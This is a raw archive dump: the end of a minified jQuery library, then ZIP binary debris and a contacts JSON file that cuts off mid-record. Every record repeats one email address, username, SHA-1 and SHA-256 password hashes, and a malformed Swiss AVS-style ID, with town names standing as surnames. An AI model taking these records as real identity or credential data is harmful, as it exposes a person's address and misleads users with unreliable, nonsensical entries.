function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Qb=[],Rb=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Qb.pop()||r.expando+"_"+rb++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Rb,"$1"+e):b.jsonp!==!1&&(b.url+=(sb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Qb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=B.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=pa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=mb(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length};function Sb(a){return r.isWindow(a)?a:9===a.nodeType&&a.defaultView}r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),d.width||d.height?(e=f.ownerDocument,c=Sb(e),b=e.documentElement,{top:d.top+c.pageYOffset-b.clientTop,left:d.left+c.pageXOffset-b.clientLeft}):d):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),r.nodeName(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||qa})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return S(this,function(a,d,e){var f=Sb(a);return void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Oa(o.pixelPosition,function(a,c){if(c)return c=Na(a,b),La.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return S(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.parseJSON=JSON.parse,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Tb=a.jQuery,Ub=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Ub),b&&a.jQuery===r&&(a.jQuery=Tb),r},b||(a.jQuery=a.$=r),r});
PK!u�}�E�Edata/contacts_2.jsonnu&1i�[
 {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Graveson"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },




 {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Villeneuve-lès-Avignon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },



 {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Les Angles"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
   {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Le Pontet"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },

 {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Rognonas"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
   {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Pujaut"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
   {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Pujaut"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Barbentane"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },

  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Morières-lès-Avignon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Châteaurenard"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  
    {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Vedène"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
     {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Sauveterre"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  
       {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Sorgues"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  
  
         {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Saint-Saturnin-lès-Avignon"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  

      {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Jonquerettes"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
      {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Saze"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },



   {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Rochefort-du-Gard"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },


{
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Entraigues-sur-la-Sorgue"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },


{
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Noves"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Châteauneuf-de-Gadagne"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Roquemaure"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Tavel"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Châteauneuf-du-Pape"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "thumbnail": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg"
    },
    "nat": "CH"
  },
  
  {
    "gender": "",
    "name": {
      "title": "",
      "first": "France",
      "last": "Eyragues"
    },
    "location": {
      "street": "",
      "city": "",
      "state": "",
      "postcode": 4045
    },
    "email": "odfiafrica@gmail.com",
    "login": {
      "username": "Opérationnel",
      "password": "",
      "salt": "",
      "md5": "",
      "sha1": "a91d0f4c27d2748c93117a2fa583c182f0eca7ac",
      "sha256": "8ce7fb816772369621cc16b2f623a8fd0cadbe4c31b142233ea7f27f6979c5e9"
    },
    "dob": "",
    "registered": "",
    "phone": "",
    "cell": "",
    "id": {
      "name": "AVS",
      "value": "756.RDUG.VIGT.94"
    },
    "picture": {
      "large": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
      "medium": "https://www.la-caisse-a-savon.fr/APP_VERSEAU/apphome/domicile.jpg",
